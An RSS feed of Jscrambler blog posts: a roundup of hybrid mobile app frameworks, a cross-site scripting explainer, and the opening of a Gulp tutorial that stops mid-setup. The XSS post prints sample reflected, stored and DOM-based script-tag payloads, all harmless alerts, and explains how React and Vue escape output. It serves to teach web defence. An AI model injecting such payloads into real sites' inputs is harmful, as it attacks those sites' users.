<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>Forem: Jscrambler</title>
    <description>The latest articles on Forem by Jscrambler (@j_scrambler).</description>
    <link>https://forem.com/j_scrambler</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F134183%2Fa9b787dc-542e-4bb2-815f-31dd01860d46.jpg</url>
      <title>Forem: Jscrambler</title>
      <link>https://forem.com/j_scrambler</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://forem.com/feed/j_scrambler"/>
    <language>en</language>
    <item>
      <title>12 Frameworks for Hybrid Mobile Apps</title>
      <dc:creator>Jscrambler</dc:creator>
      <pubDate>Wed, 24 Aug 2022 09:49:58 +0000</pubDate>
      <link>https://forem.com/jscrambler/12-frameworks-for-hybrid-mobile-apps-546d</link>
      <guid>https://forem.com/jscrambler/12-frameworks-for-hybrid-mobile-apps-546d</guid>
      <description>&lt;p&gt;Working with hybrid mobile app frameworks makes life easier for developers as they are able to write code once and build mobile applications that run on the main platforms with no extra effort. The application will run on Android and iOS and the code can be reused for progressive web applications and even desktop applications (by using Electron, with some tweaks, you can adapt the code for the desktop environment).&lt;/p&gt;

&lt;p&gt;In this post, let us dive into a list of 12 very useful frameworks to help you build amazing hybrid mobile apps.&lt;/p&gt;

&lt;h2&gt;
  
  
  1. React Native
&lt;/h2&gt;


&lt;center&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--1AL-IXxh--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://blog.jscrambler.com/content/images/2018/10/jscrambler-blog-react-native-ionic-nativescript-react-native-logo.png" alt="React Native" width="720" height="117"&gt;&lt;/center&gt;

&lt;p&gt;With &lt;a href="https://reactnative.dev/"&gt;React Native&lt;/a&gt;, you can build mobile apps using only JavaScript. It uses the same design as React, letting you compose a rich mobile UI from declarative components.&lt;/p&gt;

&lt;p&gt;Using this framework, you don't build a "mobile web app", an "HTML5 app", or a "hybrid app". You build a real mobile app that's indistinguishable from an app built using Objective-C or Java. React Native uses the same fundamental UI building blocks as regular iOS and Android apps. You just put those building blocks together using JavaScript and React.&lt;/p&gt;

&lt;p&gt;If you're already creating apps with React Native, make sure you are protecting their code by following &lt;a href="https://blog.jscrambler.com/how-to-protect-react-native-apps-with-jscrambler/"&gt;our guide&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  2. Ionic Framework
&lt;/h2&gt;


&lt;center&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--hYsnIaHs--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://blog.jscrambler.com/content/images/2019/04/jscrambler-blog-12-frameworks-mobile-hybrid-apps-ionic.png" alt="Ionic Framework" width="500" height="169"&gt;&lt;/center&gt;

&lt;p&gt;The &lt;a href="https://ionicframework.com/"&gt;Ionic&lt;/a&gt; Framework is a complete open-source SDK for hybrid mobile app development. It provides tools and services for hybrid mobile app development using Web technologies like CSS, HTML5, and Sass. Apps can be built with these Web technologies and then distributed through native app stores to be installed on devices by leveraging Cordova.&lt;/p&gt;

&lt;p&gt;This framework is 100% free and open-source, licensed under MIT and powered by a massive worldwide community. They have over 120 native device features like Bluetooth, HealthKit, Finger Print Auth, and more with Cordova/PhoneGap plugins and TypeScript extensions. You can use their CLI to create, build, test, and deploy your Ionic apps onto any platform. The framework has the Ionicons icon pack with hundreds of the most common app icons. And you can develop your apps by Live Reload because to compile and redeploy your app at every step of development is for chumps. And there are more useful features like deep linking, AoT Compiling, and a custom animations API.&lt;/p&gt;

&lt;p&gt;Ionic is framework-agnostic and has official support for React, Preact, Angular, and Vue, as well as for Web Components. Ionic &lt;a href="https://ionicframework.com/blog/announcing-ionic-5/"&gt;version 5&lt;/a&gt; brought lots of UI updates. &lt;/p&gt;

&lt;h3&gt;
  
  
  &lt;center&gt;Side Note: Protecting Your Ionic Source Code&lt;/center&gt;
&lt;/h3&gt;

&lt;p&gt;We have a comprehensive tutorial on how to protect your Ionic mobile hybrid app. If you want to make sure that nobody is able to reverse-engineer, steal, or tamper with your code, you may want to take a look at it &lt;a href="https://blog.jscrambler.com/protecting-hybrid-mobile-apps-with-ionic-and-jscrambler/"&gt;here&lt;/a&gt;!&lt;/p&gt;

&lt;h2&gt;
  
  
  3. NativeScript
&lt;/h2&gt;


&lt;center&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--vQVOmM-N--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://blog.jscrambler.com/content/images/2018/10/jscrambler-blog-react-native-ionic-nativescript-logo.png" alt="NativeScript" width="665" height="126"&gt;&lt;/center&gt;

&lt;p&gt;Originally created by Progress, NativeScript apps are built using JavaScript, or by using any language that transpiles to JavaScript, such as TypeScript, for instance.&lt;/p&gt;

&lt;p&gt;This hybrid mobile app framework has deep integration with modern Angular versions, including full-stack features like integration with the Angular CLI, router support, and code generation. It also includes integration with Vue via a community-developed plugin, which enables using the Vue CLI, Vuex, and other nice Vue.js features.&lt;/p&gt;

&lt;p&gt;So, what does a hybrid mobile app built with NativeScript look like? Well, mobile applications built with NativeScript are actually fully native apps and use the same APIs as if they were developed in Xcode or Android Studio. This means you get platform-native UI without WebViews and running with native performance.&lt;/p&gt;

&lt;p&gt;Additionally, software developers can re-purpose third-party libraries from Cocoapods, Android Arsenal, Maven, and npm.js in their mobile applications without the need for wrappers.&lt;/p&gt;

&lt;h4&gt;
  
  
  &lt;center&gt;Side Note: Protecting Your NativeScript Source Code&lt;/center&gt;
&lt;/h4&gt;


&lt;center&gt;&lt;a href="https://blog.jscrambler.com/protecting-your-nativescript-source-code-with-jscrambler/"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--m7yRPr_Z--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://blog.jscrambler.com/content/images/2018/05/nativescript-jscrambler.png" alt="protecting-nativescript-apps-with-jscrambler" width="880" height="440"&gt;&lt;/a&gt;&lt;/center&gt;

&lt;p&gt;&lt;a href="https://www.progress.com/"&gt;Progress&lt;/a&gt; &lt;a href="https://www.telerik.com/"&gt;Telerik&lt;/a&gt; has recommended &lt;a href="https://jscrambler.com?utm_source=blog.jscrambler.com&amp;amp;utm_medium=referral&amp;amp;utm_campaign=10frameworks"&gt;Jscrambler&lt;/a&gt; as the solution of choice to protect NativeScript Applications! See our integration guide &lt;a href="https://blog.jscrambler.com/protecting-your-nativescript-source-code-with-jscrambler/"&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  4. Quasar
&lt;/h2&gt;


&lt;center&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--nDXxHnqa--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://blog.jscrambler.com/content/images/2018/12/jscrambler-blog-12-frameworks-mobile-hybrid-apps-quasar.png" alt="Quasar Framework" width="500" height="165"&gt;&lt;/center&gt;

&lt;p&gt;The &lt;a href="https://quasar.dev/"&gt;Quasar Framework&lt;/a&gt; is powered by Vue.js and enables developers to write code a single time and deploy simultaneously as a website (SPA, PWA, SSR), mobile app (iOS, Android) and desktop (using Electron) using a single code base.&lt;/p&gt;

&lt;p&gt;Out of the box, Quasar brings state-of-the-art UI, following Google Material guidelines. It also offers HTML/CSS/JS minification, cache busting, tree shaking, sourcemapping, code-splitting &amp;amp; lazy loading, ES6 transpiling, linting code, and accessibility features, while keeping a small performance overhead - actually, the creators of this hybrid mobile app framework claim that it is "the most performance-focused framework".&lt;/p&gt;

&lt;p&gt;With the Quasar CLI, developers also benefit from additional features such as hot-reloading. One of the frameworks most praised benefits is its very thorough &lt;a href="https://quasar.dev/start/pick-quasar-flavour"&gt;documentation&lt;/a&gt; and active &lt;a href="https://forum.quasar-framework.org/"&gt;community&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;It's worth mentioning that Quasar is 100% free, open-source, and licensed under MIT.&lt;/p&gt;

&lt;h2&gt;
  
  
  5. Kendo UI
&lt;/h2&gt;


&lt;center&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--kBh8hJ3Q--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://blog.jscrambler.com/content/images/2017/04/kendo-ui.png" alt="Kendo UI" width="700" height="243"&gt;&lt;/center&gt;

&lt;p&gt;&lt;a href="https://www.telerik.com/kendo-ui"&gt;Kendo UI&lt;/a&gt; provides a very extensive collection of JavaScript UI components with libraries for jQuery, Angular, React, and Vue  for creating hybrid mobile apps.&lt;/p&gt;

&lt;p&gt;Powered by Progress Telerik (the same parent organization of NativeScript), it comes packed with dozens of ready-to-use widgets for jQuery, Angular, React, and Vue. Kendo UI is focused on allowing development teams to quickly build high-performance hybrid mobile apps with excellent performance.&lt;/p&gt;

&lt;p&gt;This hybrid app framework is open-source, but it is aimed at enterprise customers - so no free version is available as of right now. One of the key selling points of Kendo UI is that you get world-class support and the guarantee that every component has been thoroughly tested by their strict QA process.&lt;/p&gt;

&lt;p&gt;Among the most noteworthy Kendo UI clients, we find HP, NASA, and over 140,000 other companies across the world. It is definitely a hybrid app development framework to consider if you're looking for an enterprise-grade solution with dedicated support.&lt;/p&gt;

&lt;h2&gt;
  
  
  6. Framework7
&lt;/h2&gt;


&lt;center&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--x4YzXZSd--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://blog.jscrambler.com/content/images/2020/04/framework7-logo.png" alt="Framework7" width="612" height="328"&gt;&lt;/center&gt;

&lt;p&gt;&lt;a href="https://framework7.io"&gt;Framework7&lt;/a&gt; is a free and open-source mobile HTML framework to develop hybrid mobile apps, web apps, and progressive web apps (PWAs) with native look and feel. Plus, it can be paired with extra tools like Electron and NW.js, allowing you to build native desktop apps.&lt;/p&gt;

&lt;p&gt;This hybrid app framework can be an indispensable prototyping tool to show working app prototypes as soon as possible in case you need to. It is focused on iOS and Google Material design to bring the best experience and simplicity.&lt;/p&gt;

&lt;p&gt;Much like similar hybrid app frameworks, Framework7 offers a rich ecosystem of components for popular JS frameworks the likes of Vue, React, and &lt;a href="https://blog.jscrambler.com/svelte-vs-react-differences-when-building-the-same-web-app/"&gt;Svelte&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Some useful features provided by Framework7 are native scrolling, library-agnostic, pages transition animation, multiple views support, hardware-accelerated animations via CSS3, route pages by using the combination of XHR, caching, browser history and preloading.&lt;/p&gt;

&lt;h2&gt;
  
  
  7. Aurelia
&lt;/h2&gt;


&lt;center&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--YtWJ3Iw5--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://blog.jscrambler.com/content/images/2020/04/aurelia-logo.png" alt="Aurelia Logo" width="400" height="114"&gt;&lt;/center&gt;

&lt;p&gt;&lt;a href="https://aurelia.io/"&gt;Aurelia&lt;/a&gt; characterizes itself as a "collection of Modern JavaScript modules, which when used together, function as a powerful platform for building browser, desktop and mobile applications". As such, any of Aurelia's modules can be used on its own in any JavaScript or Node.js project.&lt;/p&gt;

&lt;p&gt;With a focus on clean yet powerful code, Aurelia is especially aimed at those who prefer to use vanilla JavaScript or TypeScript. In fact, they go so far as claiming that they are "the only framework that lets you build components with plain, vanilla JavaScript/TypeScript". Still, because it strictly follows web standards, it can readily be integrated with any framework or library out there. &lt;/p&gt;

&lt;p&gt;As for its features, some of the most powerful Aurelia modules include metadata, dependency injection, binding, templating, and routing. Its ecosystem includes plugins for state management, internationalization and validation, as well as tools like a CLI, Chrome debugger, and VS Code plugin. And because Aurelia is based on a high-performance reactive system, it batches DOM updates faster than virtual-DOM-based frameworks.&lt;/p&gt;

&lt;p&gt;This hybrid mobile app framework is 100% free to use, open-source, and licensed under the MIT license.&lt;/p&gt;

&lt;h2&gt;
  
  
  8. Onsen UI
&lt;/h2&gt;


&lt;center&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--jZ6c0DiN--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://blog.jscrambler.com/content/images/2017/04/onsen-ui.png" alt="Onsen UI" width="276" height="326"&gt;&lt;/center&gt;

&lt;p&gt;&lt;a href="https://onsen.io"&gt;Onsen UI&lt;/a&gt; has quickly grown in adoption since its release in 2013. It is an open-source framework under the Apache v2 license. Onsen UI is framework-agnostic UI components, you can choose and switch among the frameworks: AngularJS, Angular, React, and Vue.js or go pure JavaScript to build your hybrid apps.&lt;/p&gt;

&lt;p&gt;The framework architecture consists of three layers: CSS components, Web components, and framework bindings. It also features a large collection of ready-to-use, responsive out-of-the-box components.&lt;/p&gt;

&lt;p&gt;This framework is very easy to use, flexible, has semantic markup components, and is free to use for commercial projects.&lt;/p&gt;

&lt;h2&gt;
  
  
  9. Ext JS
&lt;/h2&gt;


&lt;center&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--ATIlHO9M--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://blog.jscrambler.com/content/images/2020/04/ext-js-logo.png" alt="Ext JS" width="400" height="150"&gt;&lt;/center&gt;

&lt;p&gt;&lt;a href="https://www.extjs.com/"&gt;Ext JS&lt;/a&gt; is an enterprise-grade product for building cross-platform end to end mobile web apps with HTML5 and JavaScript. It is especially fit to build data-intensive, cross-platform web and mobile applications.&lt;/p&gt;

&lt;p&gt;This hybrid mobile app framework isn't afraid to state that it is "The Best JavaScript Framework In The World". And in fact, among the 10k companies using the framework, we find Apple, Adobe, Cisco, Nvidia, and many other global enterprises.&lt;/p&gt;

&lt;p&gt;For individual developers and freelancers, Ionic, Onsen UI or Framework7 will be a better choice - but, for enterprise applications, Ext JS leads the way.&lt;/p&gt;

&lt;p&gt;ExtJS scores highly against its competitors by providing a native look and feel across all of the platforms it supports. It helps create high-performance hybrid mobile apps with near-native experience and packs ready-to-use widgets with native look and feel for all leading platforms including iOS, Android, Windows Phone, and Blackberry. The framework also features a drag and drop HTML5 visual application builder with tons of ready to use templates. It has built-in support for Angular and React.&lt;/p&gt;

&lt;h2&gt;
  
  
  10. Axway Appcelerator
&lt;/h2&gt;


&lt;center&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--xegJbIM8--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://blog.jscrambler.com/content/images/2020/04/appcelerator-logo.png" alt="Appcelerator" width="400" height="151"&gt;&lt;/center&gt;

&lt;p&gt;&lt;a href="http://www.appcelerator.com"&gt;Appcelerator&lt;/a&gt; (also known as Appcelerator Titanium) is a JavaScript-based hybrid app framework. It is cross-platform with full support for Android and iOS. In the end, the compiled code is a combination of native and JavaScript that improves performance for hybrid mobile app development. It has integrations available for Angular and Vue.&lt;/p&gt;

&lt;p&gt;Appcelerator is a good solution for creating hybrid mobile apps. To get started with Appcelerator, download Titanium studio. The Titanium SDK is equipped with a number of mobile platform APIs and Cloud service to use as an app backend. It comes with platform-independent APIs which makes it easier to access phone hardware.&lt;/p&gt;

&lt;p&gt;Appcelerator uses Hyperloop to join the cross-platform power of Titanium with direct access to any native API using JavaScript. The framework has both free and paid plans.&lt;/p&gt;

&lt;h2&gt;
  
  
  11. Svelte Native
&lt;/h2&gt;


&lt;center&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--9KNBNw_d--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://blog.jscrambler.com/content/images/2020/10/svelte-native-logo.png" alt="Svelte Native" width="402" height="112"&gt;&lt;/center&gt;

&lt;p&gt;&lt;a href="https://svelte-native.technology/"&gt;Svelte Native&lt;/a&gt; is the youngest framework on this list for hybrid app development. With the Svelte framework quickly growing in popularity among web developers thanks to its simplicity, the mobile framework quickly followed in its footsteps.&lt;/p&gt;

&lt;p&gt;Svelte Native is powered by Svelte and NativeScript. So, while mobile app frameworks like React Native perform the bulk of their work on the actual mobile device, Svelte Native takes a new approach by shifting that work into a compile step at build time.&lt;/p&gt;

&lt;p&gt;Plus, rather than relying on techniques like virtual DOM diffing, Svelte creates code that updates native view widgets when the app's stage changes.&lt;/p&gt;

&lt;p&gt;Be aware that, since this framework is still in its early stages, you may experience some issues. And, who knows - maybe this will be the next big thing in hybrid mobile app development.&lt;/p&gt;

&lt;h2&gt;
  
  
  12. Xamarin
&lt;/h2&gt;


&lt;center&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--oF53GcSY--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://blog.jscrambler.com/content/images/2017/04/xamarin.png" alt="Xamarin" width="800" height="336"&gt;&lt;/center&gt;

&lt;p&gt;&lt;a href="https://visualstudio.microsoft.com/xamarin/"&gt;Xamarin&lt;/a&gt; is a Microsoft-owned San Francisco California-based software company founded in May 2011 which has cross-platform implementations of the Common Language Infrastructure (CLI) and Common Language Specifications (often called Microsoft .NET).&lt;/p&gt;

&lt;p&gt;With a C# shared codebase, developers can use Xamarin tools to write native Android, iOS, and Windows apps with native user interfaces and share code across multiple platforms, including Windows and MacOS. Xamarin is the top hybrid mobile app development framework. It saves your time regarding re-utilizing abilities, tools, teams and the best significant part is code. You can influence the array of Xamarin and Android APIs as well as design an amazing experience for glass with the Android SDK and GDK.&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;Hybrid app development has grown immensely over the past few years. It's no wonder that many development teams are opting-in for hybrid mobile apps instead of their native counterparts - they provide faster development, easier prototyping, and a reportedly better ROI.&lt;/p&gt;

&lt;p&gt;If you're planning to develop a mobile application, choosing a hybrid app framework can also help you build apps for web and desktop more easily as a way to reach more customers.&lt;/p&gt;

&lt;p&gt;And with the advancements we've seen in the JavaScript ecosystem and in each of the hybrid mobile app frameworks presented on this list, hybrid mobile apps today are closer than ever to native apps, both in their overall look and in performance.&lt;/p&gt;

&lt;p&gt;Lastly, if you're building hybrid mobile apps with JavaScript, you should secure your source code against theft and reverse-engineering. Start a free &lt;a href="https://jscrambler.com/signup?utm_source=dev.to&amp;amp;utm_medium=referral&amp;amp;utm_campaign=frameworks-mobile-hybrid-apps"&gt;Jscrambler trial&lt;/a&gt; and protect your code in 2 minutes!&lt;/p&gt;

</description>
      <category>javascript</category>
      <category>frameworks</category>
      <category>mobile</category>
      <category>webdev</category>
    </item>
    <item>
      <title>Cross-site Scripting (XSS)</title>
      <dc:creator>Jscrambler</dc:creator>
      <pubDate>Tue, 12 Jul 2022 15:43:51 +0000</pubDate>
      <link>https://forem.com/jscrambler/cross-site-scripting-xss-2kfi</link>
      <guid>https://forem.com/jscrambler/cross-site-scripting-xss-2kfi</guid>
      <description>&lt;p&gt;Cross-site scripting is a vulnerability that happens when there’s an injection of malicious code to run on a regular webpage. This piece of code can go on to cause unauthorized actions and access data. Many times, these attacks seem to be a legitimate part of the website because they are added as parameters on the original URL. &lt;/p&gt;

&lt;p&gt;We’ll be covering different types of these attacks and how modern frontend frameworks help handle XSS attacks. &lt;/p&gt;

&lt;h2&gt;
  
  
  Types Of XSS Attacks
&lt;/h2&gt;

&lt;p&gt;Cross-site scripting attacks come in different forms in a bid to steal user data and information. &lt;/p&gt;

&lt;p&gt;The main idea is to use any input medium to send malicious code to the application. These types are reflected, Stored, and DOM-based attacks.&lt;/p&gt;

&lt;h3&gt;
  
  
  Reflected XSS Attacks
&lt;/h3&gt;

&lt;p&gt;This is the most common type of attack where the attackers create a malicious link using the website and adds the malicious code as URL param.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;https://webapp.com/?keyword=&amp;lt;script&amp;gt;alert("You've been hacked")&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The attacker takes the compromised URL and sends it to a specific user or a number of users through phishing emails. Unsuspecting users click on the link in the mail and open it in their browser. The code in the parameter runs on the website and executes whatever malicious intent the attacker wants.&lt;/p&gt;

&lt;p&gt;Interestingly, Chrome now checks for URLs with script tags like what we have above. It detects it as an XSS attack and counters it. So attackers now try to shorten the links using link shorteners, that way, the param are not explicitly displayed as part of the link. Or, they encode the param in base 64 or whatever format that does not display the script tag and inner code.&lt;/p&gt;

&lt;h3&gt;
  
  
  Stored XSS Attacks
&lt;/h3&gt;

&lt;p&gt;This type of attack takes a different approach. The attack is initiated from inside the website itself. It simply sends a piece of javascript code to the database using a regular input tag. The attacker goes to the website and looks for any input that can send data to the server like comment sections, search bar, or even forms. Then, instead of sending a regular text the attackers sends malicious code inside a script tag.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;lt;script&amp;gt;alert("you've been hacked")&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We then store the piece of code in the database. Whenever we call the data on the client-side, the piece of code is returned and runs, rather than just displaying it. For instance, the hacker can use this to get the user’s credentials in the local storage or cookies and send it to their own servers, thus compromising users' data.&lt;/p&gt;

&lt;h3&gt;
  
  
  DOM-Based XSS Attacks
&lt;/h3&gt;

&lt;p&gt;Similar to the reflected XSS attacks, this can be initiated using parameters in the URL. In this case, the script tag will contain a function that uses the DOM to get HTML elements on the webpage and manipulate the webpage by running their own script. Let’s take a look at this code below:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;window.onload = function () {var searchResult = document.getElementById('searchResult');searchResult.innerHTML = `You've been hacked` + searchResult;}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We get the text whose id is searchResult and replace it with a malicious text on load. This is added to the DOM using innerHTML.&lt;/p&gt;

&lt;p&gt;Now, to add this code to the webpage we will need to add it as a query param.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;https://webapp.com/?keyword=&amp;lt;script&amp;gt;window.onload = function () {var searchResult = document.getElementById('searchResult');searchResult.innerHTML = `You've been hacked` + searchResult;}&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;As explained earlier, the attacker finds a way to send this malicious link to unsuspecting victims who unknowingly run the code and get hacked.&lt;/p&gt;

&lt;h2&gt;
  
  
  How Current Single Page Application (SPAs) Handle XSS Attacks
&lt;/h2&gt;

&lt;p&gt;As the web evolves, Single Page Applications (SPAs) were created to abstract a lot of complicated things on the frontend which greatly improves the developer experience. These things include data management, state, reusability of UI components, security, etc. For instance, React helps handle XSS attacks by escaping all variables that is displayed to the user.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;const Component = () =&amp;gt; { 
    return (   
        &amp;lt;h1&amp;gt; Hello {hackString}!&amp;lt;/h1&amp;gt;  
        )
        }
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;What this means is by design attackers can’t inject code that can override existing text on the webpage. &lt;/p&gt;

&lt;p&gt;For instance, if the attacker tries to inject code in a script tag like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;var hackString = '&amp;lt;script&amp;gt;alert("YOU ARE HACKED")&amp;lt;/script&amp;gt;';
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If you try to display this string as a text in our react component, React escapes it and and displays it as a plain string.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;return (        
        &amp;lt;div&amp;gt;{hackString}&amp;lt;/div&amp;gt;   
        );
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The only way the attacker can find a way around it is if we use dangerouslySetInnerHTML to add text to our react component, which is something React advises against because of the XSS risk.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;return (      
        &amp;lt;div dangerouslySetInnerHTML={{"__html": hackString}} /&amp;gt;   
        );
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Vue
&lt;/h2&gt;

&lt;p&gt;Vue also handles XSS attacks well. It escapes all HTML content, meaning similar to React, external code cannot be injected into any component in our application.&lt;br&gt;
Assuming the attacker tries to inject  hackString into our Vue app:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;lt;h1&amp;gt;{{ hackString }}&amp;lt;/h1&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Vue escapes the Javascript code to display the following HTML:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;amp;lt;script&amp;amp;gt;alert(&amp;amp;quot;hackString&amp;amp;quot;)&amp;amp;lt;/script&amp;amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The only case where we can create XSS attack vulnerability in our application is if we use v-html. That’s because v-html` uses the DOM to add content directly to our website.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;&lt;/code&gt;`&lt;/p&gt;

&lt;p&gt;`&lt;code&gt;&lt;/code&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;This article covered cross-site scripting and how it can affect websites. We talked about types of XSS attacks and how they present themselves differently. These attacks are caused by user-generated data and so the solution is to be able to filter the data before sending them to the server and vice-versa.&lt;/p&gt;

&lt;p&gt;Also, we looked into modern frontend frameworks and how they secure the apps against attacks. This is done by escaping data that is not text, meaning strings containing code can be escaped instead of allowing the browser to run it as actual code. As you build, one thing to keep in mind is that XSS attacks come in different ways, and we should consider the security of our apps.&lt;/p&gt;

</description>
    </item>
    <item>
      <title>How To Protect Your Code While Using Gulp</title>
      <dc:creator>Jscrambler</dc:creator>
      <pubDate>Mon, 20 Dec 2021 10:00:24 +0000</pubDate>
      <link>https://forem.com/jscrambler/how-to-protect-your-code-while-using-gulp-2le8</link>
      <guid>https://forem.com/jscrambler/how-to-protect-your-code-while-using-gulp-2le8</guid>
      <description>&lt;p&gt;As the web development ecosystem grew, with frameworks and libraries becoming the &lt;em&gt;status quo&lt;/em&gt;, build tools quickly became an essential part of the dev toolchain. Gulp has been one of the most widely adopted task runners, as it provides lots of flexibility to automate and enhance dev workflows, especially through the use of plugins.&lt;/p&gt;

&lt;h2&gt;
  
  
  Gulp Overview
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://gulpjs.com/" rel="noopener noreferrer"&gt;Gulp&lt;/a&gt; is a platform-agnostic toolkit that can be used to automate time-consuming tasks in a development workflow.&lt;/p&gt;

&lt;p&gt;All tasks performed by Gulp are configured inside a file named &lt;code&gt;Gulpfile.js&lt;/code&gt; and these can be written in vanilla JS, with Node modules, and also using a series of Gulp APIs such as &lt;code&gt;src()&lt;/code&gt;, &lt;code&gt;dest()&lt;/code&gt;, &lt;code&gt;series()&lt;/code&gt; and &lt;code&gt;parallel()&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;When the &lt;code&gt;gulp&lt;/code&gt; command is run, each Gulp task is triggered as an asynchronous JavaScript function. For more information about Gulp tasks, please see the &lt;a href="https://gulpjs.com/docs/en/getting-started/creating-tasks" rel="noopener noreferrer"&gt;official documentation&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Setting Up a Simple App Which Uses Gulp
&lt;/h2&gt;

&lt;p&gt;For the purposes of this tutorial, we will create a very simple application built with Node.js and Express. First, let's kick off a project:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;npm init
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;When prompted, choose whichever defaults you prefer. Once that’s done, install Express:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;npm &lt;span class="nb"&gt;install &lt;/span&gt;express &lt;span class="nt"&gt;--save&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then, let's create an &lt;code&gt;app.js&lt;/code&gt; file in our project's root folder with the following code, provided in the &lt;a href="http://expressjs.com/en/starter/hello-world.html" rel="noopener noreferrer"&gt;Express website&lt;/a&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
